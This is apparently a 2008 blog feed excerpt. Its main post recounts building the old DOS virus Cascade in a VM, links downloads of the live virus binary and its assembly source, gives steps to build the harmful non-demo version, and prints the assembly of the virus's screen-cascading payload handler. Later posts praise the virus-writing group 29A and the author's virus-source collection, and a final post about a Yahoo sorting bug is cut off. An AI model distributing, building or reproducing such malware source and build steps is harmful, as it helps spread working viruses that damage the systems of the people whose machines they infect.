src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_1.png" alt="Cascade Virus: DOS command line" width="575" height="325" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a></p><p><span id="more-212"></span><br /> <a title="click to enlarge" href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_2.png" target="_blank"><img src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_2.png" alt="Cascade Virus: Edit.com DOS window" width="575" height="325" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a></p><p>I took the above screen shots from an infected machine I setup. Last week, because of some re-orgs in my group (more about this in a later post!), I had enough time to install DOS in a VM &amp; infect it with CASCADE. It actually felt good to use MASM after a long time, to produce the live virus. Triggering the virus (setting the date to 11-30-1988) was a simple thing. If you think all of this is too much work, download the virtual HD from here. (<strong>TODO</strong> [<span style="text-decoration: underline;">Mar24,2008</span>]: Link is not up yet. I will upload the VDI somewhere online and update this post. Please do let me know if you know of any reliable online file storing sites. TIA.). BTW, I used the open source VirtualBox for creating the testbed.</p><p>Alternatively, download the floppy disk image from here:</p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=6" title="Version 1.0 downloaded 60 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download FDD image with Cascade Virus (1.44MB) Version 1.0" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a><p>It has the floppy img. with live virus &amp; source. You can burn this to a 1.44MB floppy disk (or use a IMG-aware program to open it) after unzipping.</p><h3><strong> </strong><strong>What is in the disk?</strong></h3><p>I have included the following:</p><ul><li><strong>cascade.asm</strong><ul><li>The source code of the actual virus. This is the cleaned up version that I used for building the virus.</li></ul></li><li><strong>cascade.com</strong><ul><li>Live virus. Do not execute this in an unprotected system, if you don&#8217;t know what you are doing. Be careful. <strong><br /> </strong></li></ul></li><li><strong>makehlv.bat</strong><ul><li>Cleaned up (for masm/x2b) make BAT file. Execute this from the prompt to build the virus.</li></ul></li><li><strong>readme.txt</strong><ul><li>Contains a description of file and SW requirements.</li></ul></li></ul><h3><strong>How to build the virus?</strong></h3><p>I used <a rel="nofollow" target="_blank" title="MASM 6.11 Google result" href="http://www.google.co.in/search?hl=en&amp;client=firefox-a&amp;rls=org.mozilla:en-US:official&amp;hs=gZV&amp;q=masm+6.11+download&amp;revid=936360423&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=revision&amp;cd=1" target="_blank"><strong>MASM 6.11d</strong></a> (16bit assembler) along with <strong><a rel="nofollow" target="_blank" title="Exe2Bin Replacement" href="http://www.faqs.org/faqs/assembly-language/x86/general/part2/section-8.html" target="_blank">X2B</a> </strong>(EXE -&gt; COM Converter) for building the virus. You also need DOS <a rel="nofollow" target="_blank" title="Some DOS programs available online" href="http://www.uv.tietgen.dk/staff/mlha/Download/DOS/#Microsoft" target="_blank"><strong>debug</strong></a> executable for patching up the initial jump (automatically done by <em>makehlv.bat</em>). If you are using <strong>exe2bin</strong>, you have to modify <strong>makehlv.bat</strong> accordingly.</p><p>Once you have the environment setup, follow these steps:</p><ol><li>Open <em>cascade.asm</em>. Find &#8220;DEMO EQU FALSE&#8221; (It should be near line number 13). If you make this &#8220;DEMO EQU TRUE&#8221;, virus will not exhibit any harmful things. For our purpose, leave it at &#8220;DEMO EQU FALSE&#8221;.</li><li>Add &#8220;_DANGER EQU TRUE&#8221; after this line.</li><li>Now, execute the following command from the command line to build the virus: <strong>makehlv cascade</strong></li></ol><h3>Virus in action:</h3><p>Video is always better than a static picture. Don&#8217;t you agree? Look at the following video I captured:</p><p><object id="VideoPlayback" style="width: 400px; height: 326px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="flashvars" /><param name="src" value="http://video.google.com/googleplayer.swf?docId=5231335142316813466&amp;hl=en" /><embed id="VideoPlayback" style="width: 400px; height: 326px;" type="application/x-shockwave-flash" width="100" height="100" src="http://video.google.com/googleplayer.swf?docId=5231335142316813466&amp;hl=en" flashvars="flashvars"></embed></object></p><p>I also found another excellent video:</p><p><object id="VideoPlayback" style="width: 400px; height: 326px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="flashvars" /><param name="src" value="http://video.google.com/googleplayer.swf?docId=-8955290981694149674&amp;hl=en" /><embed id="VideoPlayback" style="width: 400px; height: 326px;" type="application/x-shockwave-flash" width="100" height="100" src="http://video.google.com/googleplayer.swf?docId=-8955290981694149674&amp;hl=en" flashvars="flashvars"></embed></object></p><h3>Virus Code:</h3><p>The actual <em>cascading</em> is implemented in the following <a rel="nofollow" target="_blank" title="Timer interrupt" href="http://members.tripod.com/vitaly_filatov/ng/asm/asm_001.14.html" target="_blank"><strong>INT 1C</strong></a> handler. The function <em><strong>Random</strong></em> is called for obtaining a random screen row and a column. If the character there is not SPACE, it is moved accordingly downwards. Speaker is toggled, which you won&#8217;t get to to know if you run this in a VM. The code is pretty self explanatory.</p><p>You can get the complete source code here:</p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=7" title="Version 1.0 downloaded 14 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download x86 ASM source code for Cascade virus Version 1.0" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a><pre class="brush:asm">XI_048       LABEL   NEAR
XR_009      EQU     XI_048 + PSPsize
 	TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom
 	JZ      XI_049
 	JMP     XI_067
XI_049:      OR      CS:[ISR_Flags],MASK R_in_1c
 	DEC     CS:[XR_002]
 	JZ      XI_050
 	JMP     XI_066
XI_050:     SAVE    DS,ES
 	MOV_S   DS,CS
 	MOV_S   ES,CS
 	SAVE    AX,BX,CX,DX,SI,DI,BP
 	MOV     AL,EOI_8259A
 	OUT     PORT_B_8259A,AL
 	MOV     AX,[XR_003]
 	CMP     AX,0438
 	JNB     XI_051
 	MOV     AX,0438
XI_051:     CALL    Random
 	INC     AX
 	MOV     [XR_002],AX
 	MOV     [XR_003],AX
 	PUSH    DS
 	MOV     AX,BIOSDATASEG
 	MOV     DS,AX
 	MOV     AX,[B_VidPage]
 	POP     DS
 	MOV     [Page_offset],AX
 	MOV     [Last_Line],18
 	MOV     DL,-1
 	MOV     AX,1130
 	MOV     BH,0
 	SAVE    ES,BP
 	INT     10
 	REST    BP,E
 	CMP     DL,-1
 	JZ      XI_052
 	MOV     [Last_Line],DL
XI_052:         CALL    GetSysSpeed
 	MOV     AH,0F
 	INT     10
 	MOV     [Num_of_Col],AH
 	MOV     [Prevent_Snow?],0
 	MOV     [Seg_of_VRAM],MonoBase
 	CMP     AL,07
 	JZ      XI_054
 	JB      XI_053
 	JMP     XI_064
XI_053:         MOV     [Seg_of_VRAM],ColorBase
 	CMP     AL,03
 	JA      XI_054
 	CMP     AL,02
 	JB      XI_054
 	MOV     [Prevent_Snow?],01
 	MOV     AL,[Last_Line]
 	INC     AL
 	MUL     [Num_of_Col]
 	MOV     [Num_of_char],AX
 	MOV     AX,[XR_004]
 	CMP     AX,[Num_of_char]
 	JBE     XI_054
 	MOV     AX,[Num_of_char]
XI_054:         CALL    Random
 	INC     AX
 	MOV     SI,AX
XI_055:         XOR     DI,DI
XI_056:         INC     DI
 	MOV     AX,[Num_of_char]
 	SHL     AX,1
 	CMP     DI,AX
 	JBE     XI_057
 	JMP     XI_064
XI_057:         OR      [ISR_Flags],MASK Recf_1
 	MOV     AL,[Num_of_Col]
 	MOV     AH,0
 	CALL    Random
 	MOV     DL,AL
 	MOV     AL,[Last_Line]
 	MOV     AH,0
 	CALL    Random
 	MOV     DH,AL
 	CALL    Load_from_VRAM
 	CALL    Is_it_blank_?
 	JB      XI_056
 	CALL    Spec_Graphik?
 	JB      XI_056
 	MOV     [Last_Pair],AX
 	MOV     CL,[Last_Line]
 	MOV     CH,0
XI_058:         INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JB      XI_060
XI_059:         CALL    Spec_Graphik?
 	JB      XI_062
 	INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JNB     XI_059
 	CALL    Toggle_Speaker
 	DEC     DH
 	CALL    Load_from_VRAM
 	MOV     [Last_Char],AL
 	INC     DH
XI_060:         AND     [ISR_Flags],NOT MASK Recf_1
 	DEC     DH
 	MOV     AL,' '
 	CALL    Write_to_VRAM
 	INC     DH
 	MOV     AL,[Last_Char]
 	CALL    Write_to_VRAM
 	JCXZ    XI_061
 	CALL    Delay
 	DEC     CX
XI_061:         JMP     XI_058
XI_062:         TEST    [ISR_Flags],MASK Recf_1
 	JZ      XI_063
 	JMP     XI_056
XI_063:         CALL    Toggle_Speaker
 	DEC     SI
 	JZ      XI_064
 	JMP     XI_055
XI_064:         IN      AL,PORT_B_8255
 	AND     AL,0FC
 	OUT     PORT_B_8255,AL
 	MOV     AX,3
 	CALL    Random
 	INC     AX
 	MUL     [XR_004]
 	JNB     XI_065
 	MOV     AX,-1
XI_065:         MOV     [XR_004],AX
 	REST    BP,DI,SI,DX,CX,BX,AX,ES,DS
XI_066:         AND     CS:[ISR_Flags],NOT MASK R_in_1c
XI_067:         JMP     DWORD PTR CS:[Org_Int_1C]</pre><p>My next target is to try a destructive virus like CIH. I will let you know what happens. Till then enjoy the mesmerizing cascade effect <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></p><p>[Updated: May 16, 2010 - Fixed the download link]</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/21-virus-and-other-malware-payload-videos/" rel="bookmark" class="crp_title">21 Virus and other Malware payload videos</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/english-movies-online-1/" rel="bookmark" class="crp_title">English Movies Online &#8211; 1</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/movies-in-google-videos/" rel="bookmark" class="crp_title">Movies in Google Videos</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/hindi-movies-online-2/" rel="bookmark" class="crp_title">Hindi Movies Online &#8211; 2</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="bookmark" class="crp_title">Virus group 29A disbanded &#8211; who&#8217;s next?</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Cascade+Virus%3A+Down+the+memory+lane.+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane.&amp;desc=I%20have%20always%20been%20fascinated%20with%20computer%20virii.%20My%20first%20exposure%20to%20computer%20virii%20was%20back%20in%201994%2C%20when%20my%20360KB%20floppy%20disk%20got%20infected%20by%20STONED.%20The%20hype%20around%20virii%20was%20so%20much%20and%20I%20was%20so%20misinformed%2C%20I%20kept%20that%20infected%20disk%20in%20the%20jacket%2C%20away%20from%20all%20other%20diskettes%20I%20owned%20for%202%20" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;bm_description=Cascade+Virus%3A+Down+the+memory+lane.&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-212-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&quot;&gt;Cascade Virus: Down the memory lane.&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Virus group 29A disbanded &#8211; who&#8217;s next?</title><link>http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/</link> <comments>http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/#comments</comments> <pubDate>Mon, 10 Mar 2008 08:17:44 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Personal]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[29A]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[programming]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Virii]]></category> <category><![CDATA[virus]]></category> <category><![CDATA[Virus Group]]></category> <category><![CDATA[VX Scene]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/</guid> <description><![CDATA[Couple of weeks back, 29A officially shut down business. 29A&#8217;s published work was one of the best (IMHO) sources for cutting edge virus technologies. Their e-zines provided a sampling of what was happening in the Virus underground during that period. This was the last message posted by VirusBuster in their site: I tried to contact [...]]]></description> <content:encoded><![CDATA[<p><a href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/image.png"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="84" alt="29A Labs" src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/image-thumb.png" width="413" border="0" title="Virus group 29A disbanded   whos next? (Jumbled Thoughts)" /></a></p><p>Couple of weeks back, <a rel="nofollow" target="_blank" title="29A site" href="http://www.29a.net/" target="_blank">29A</a> officially shut down business. 29A&#8217;s published work was one of the best (IMHO) sources for cutting edge virus technologies. Their e-zines provided a sampling of what was happening in the Virus underground during that period.</p><p>This was the last message posted by <em>VirusBuster</em> in their site:</p><blockquote><p>I tried to contact <b>ValleZ</b> for some time in order to take a decision together about the future of <b>29A</b> with no luck therefore I decided to take the decision alone. And my decision is that <b>29A goes officially retired</b>. I feel this is fair because I am kinda the alpha and the omega of the group. <b>29A</b> was born in <b>Dark Node</b>, my BBS, and I am the last active member of the group. My last words as 29A member are for all the people that worked hard to make of this group the best one: <b>Thank you very much!</b> Regards, <b>VirusBuster/29A</b> <br /><b></b></p><p><b>29A has left the building!</b></p></blockquote><p>Kind of sad.</p><p>I came to know of 29A when I was in my 2nd year UG, around 1997. 29A was a new group then (If I am right, the group formed only in the mid of 1996). BTW, if you are wondering why they named it so, <em>29A </em>is the hex representation of <em>666 decimal</em>.</p></p><p><span id="more-199"></span></p><p>One of my (crazy, if you ask my wife now!) hobbies back then was collecting DOS/Windows virii source code. I was more interested in the source than the binary. I had close to 23K source files when I decided to move on to other things. There were umpteen number of sites even back then which listed for download many viruses, but most of them were distributed as either EXE or COM files. I used to take them, decompile/disassemble them using <em><a rel="nofollow" target="_blank" title="Classic tool!" href="http://www.tbc.net/~clive/vcomwinp.html" target="_blank">SOURCER</a></em> or <a rel="nofollow" target="_blank" title="Hmm...very nostalgic!!" href="http://en.wikipedia.org/wiki/DEBUG_(DOS_Command)" target="_blank"><em>debug.exe</em></a><em> </em>(I had to use this only for a few files; Sourcer did a good job for the others.) and add to my virus database. I remember checking out a DB tool (<em>VirSort</em> or <em>VirusBuster</em>??) for sometime, but resorted to maintaining them myself (that is, keeping them scattered through out my 4GB HDD <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Virus group 29A disbanded   whos next? (Jumbled Thoughts)" /> ).</p><p>Apart from these, lots of VX tutors were there too. I remember some of the tutorials that were considered state-of-the-art (!?) then:</p><ul><li>Advanced Polymorphism Primer by DarkAngel</li><li>Calling the Windows API in Assembly Language by Qark</li><li>MCB Stealth by Darkman</li></ul><p>Particularly, I used to devour anything by <em>Dark Angel, Lord Julus &amp; VLAD. </em>How can I ever forget Lord Julus&#8217;s &quot;Ring 0 Residency under Windows 95/98&quot; article?? Classic!!</p><p><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="207" alt="29A Magazine" src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/image1.png" width="404" border="0" title="Virus group 29A disbanded   whos next? (Jumbled Thoughts)" /></p><p>When 29A started releasing their e-zines, it quickly became one of my favorites. I loved all their articles, especially by <em>MrSandman</em>, <em>Benny</em>, <em>VirusBuster, Jacky Qwerty, Vecna &amp; Rajaat </em>- they were my favorites. Issue #4 was, IMO, <font color="#800000"><strong>pure gold</strong></font>!!</p><p>Later, when I came out of the college, I lost touch with the VX scene. <em><a rel="nofollow" target="_blank" title="29a quits" href="http://www.theregister.co.uk/2008/03/07/29a_rip/" target="_blank">Register.co.uk</a></em> &amp; F-Secure&#8217;s blog were the only VX news source for me. Though 29A published lots of new things, the following are considered notable accomplishments (?!):</p><ul><li><strong>Cabir</strong>, which infected Symbian mobile phones</li><li><strong>Duts, </strong>the first ever Pocket PC virus</li><li><strong>Haiku, </strong>which generated Japanese-style poetry</li><li><strong>Stream, </strong>which was the first virus to take advantage of NTFS Alternate Data Streams</li><li><strong>Lindose, </strong>which infected both Windows and Linux computers</li><li><strong>Donut </strong>a .NET aware Windows file infector</li></ul><p>I have given some links to the interviews (public/through email) of some 29A members below: I will be updating this with more as I find them in the net.</p><p><strong><a rel="nofollow" target="_blank" title="Benny/29A" href="http://virus.wikia.com/wiki/Benny" target="_blank">Benny/29A</a></strong></p><ul><li><a rel="nofollow" target="_blank" title="CNET Interview with Benny" href="http://www.news.com/Hes-got-the-virus-writing-bug/2008-1025_3-5520278.html" target="_blank">Interview with Marek &#8220;Benny&#8221; Strihavka</a>.</li></ul><blockquote><p><b>Antivirus companies frequently say that no virus writer should ever have a job in security. What are your views of this opinion?</b><b><img height="184" alt="Benny/29A" src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/image2.png" width="184" align="left" title="Virus group 29A disbanded   whos next? (Jumbled Thoughts)" /></b></p><p>That is funny. Why? Just because a lot of skilled virus writers already have jobs in the antivirus industry. I don&#8217;t want to cause any problems to my friends, so I won&#8217;t give concrete examples. But believe me, this is just marketing theater for customers&#8211;the truth is a bit different. In any event, who else should code antivirus programs? Who else has the experience and technical skills for fighting viruses? Some antivirus firms say that I have no moral right to do it, but&#8230;almost all ex-members and current members of 29A are employed in the antivirus and information technology security industry.</p></blockquote><ul><li><a rel="nofollow" target="_blank" title="VX Heavens" href="http://vx.netlux.org/lib/iv001.html" target="_blank">Another interview with Benny</a></li></ul><p><strong>Ratter/29A</strong></p><ul><li>His articles from InformIT<ul><li><a rel="nofollow" target="_blank" title="Part 1/3" href="http://www.informit.com/articles/article.aspx?p=337069" target="_blank">Details Emerge on the First Windows Mobile Virus (Part 1 of 3)</a></li><li><a rel="nofollow" target="_blank" title="Part 2/3" href="http://www.informit.com/articles/article.aspx?p=337070" target="_blank">Details Emerge on the First Windows Mobile Virus (Part 2 of 3)</a></li><li><a rel="nofollow" target="_blank" title="Part 3/3" href="http://www.informit.com/articles/article.aspx?p=337071" target="_blank">Details Emerge on the First Windows Mobile Virus (Part 3 of 3)</a></li></ul></li></ul><p>Look in VDAT or other e-zines for more interviews. Some other random links:</p><ul><li><a rel="nofollow" target="_blank" title="Interviews with 29A members" href="http://blog.hispasec.com/laboratorio/273" target="_blank">Some more recent interviews with 29A members</a>. (In Portugese. With <em>MrSandman</em> and <em>GriYo</em>)</li><li><a rel="nofollow" target="_blank" title="With JackyQwerty" href="http://vx.netlux.org/lib/static/vdat/ivjackyq.htm" target="_blank">Interview</a> with <em>Jacky Qwerty</em></li><li><a rel="nofollow" target="_blank" title="with MrSandMan" href="http://mirror.sweon.net/madchat/vxdevl/vxmags/asterix1h/intsand.html" target="_blank">Interview</a> with <em>MrSandMan</em> (<em>Asterix</em> e-zine)</li><li><a rel="nofollow" target="_blank" title="http://www.sophos.com/pressoffice/news/articles/2004/11/va_suchkov.html" href="http://www.sophos.com/pressoffice/news/articles/2004/11/va_suchkov.html" target="_blank">Trouble for 29A group</a>. Related article <a rel="nofollow" target="_blank" title="http://www.virusbtn.com/news/2004/11_18_virus.xml" href="http://www.virusbtn.com/news/2004/11_18_virus.xml" target="_blank">here</a>.</li></ul><p>Do let me know of any other links related to 29A/members in the comments section. TIA.</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/" rel="bookmark" class="crp_title">Are you a virus writer? Don&#8217;t despair!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/chess-puzzle-find-the-best-move-for-white/" rel="bookmark" class="crp_title">Chess Puzzle &ndash; Find the best move for White</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/classic-attack-by-rybka-chess-analysis/" rel="bookmark" class="crp_title">Classic attack by Rybka (Chess Analysis)</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/testing-windows-live-writer-2008/" rel="bookmark" class="crp_title">Testing Windows Live Writer 2008</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/capitalizing-on-blunders-my-latest-fics-game/" rel="bookmark" class="crp_title">Capitalizing on blunders: My latest FICS game</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Virus+group+29A+disbanded+-+who%27s+next%3F+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F&amp;desc=%20%20Couple%20of%20weeks%20back%2C%2029A%20officially%20shut%20down%20business.%2029A%27s%20published%20work%20was%20one%20of%20the%20best%20%28IMHO%29%20sources%20for%20cutting%20edge%20virus%20technologies.%20Their%20e-zines%20provided%20a%20sampling%20of%20what%20was%20happening%20in%20the%20Virus%20underground%20during%20that%20period.%20%20This%20was%20the%20last%20message%20posted%20by%20VirusBuste" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;bm_description=Virus+group+29A+disbanded+-+who%27s+next%3F&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&amp;title=Virus+group+29A+disbanded+-+who%27s+next%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-199-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/&quot;&gt;Virus group 29A disbanded &#8211; who&#8217;s next?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Yahoo vs Google: why Yahoo lags behind?</title><link>http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/</link> <comments>http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/#comments</comments> <pubDate>Fri, 07 Mar 2008 02:30:05 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[dumb]]></category> <category><![CDATA[Algorithm]]></category> <category><![CDATA[google]]></category> <category><![CDATA[intel]]></category> <category><![CDATA[Sorting]]></category> <category><![CDATA[yahoo]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/</guid> <description><![CDATA[You wanna know why Yahoo lags behind Google? Look at the image below that I took from Yahoo&#8217;s careers site today (WW10.4). It shows all open reqs, sorted by date (descending). As you probably noticed (follow the arrows please! ), the sort hasn&#8217;t happened properly. How did the coder miss this? No unit tests funda [...]]]></description> <content:encoded><![CDATA[<p>You wanna know why Yahoo lags behind Google? Look at the image below that I took from Yahoo&#8217;s careers site today (WW10.4). It shows all open reqs, <strong>sorted by date (descending).</strong></p><p><a href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/yahooalgorithmwrong.png" target="_blank"><img height="480" alt="YahooAlgorithmWrong" src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/yahooalgorithmwrong-thumb.png" width="581" title="Yahoo vs Google: why Yahoo lags behind? (Jumbled Thoughts)" /></a></p><p>As you probably noticed (follow 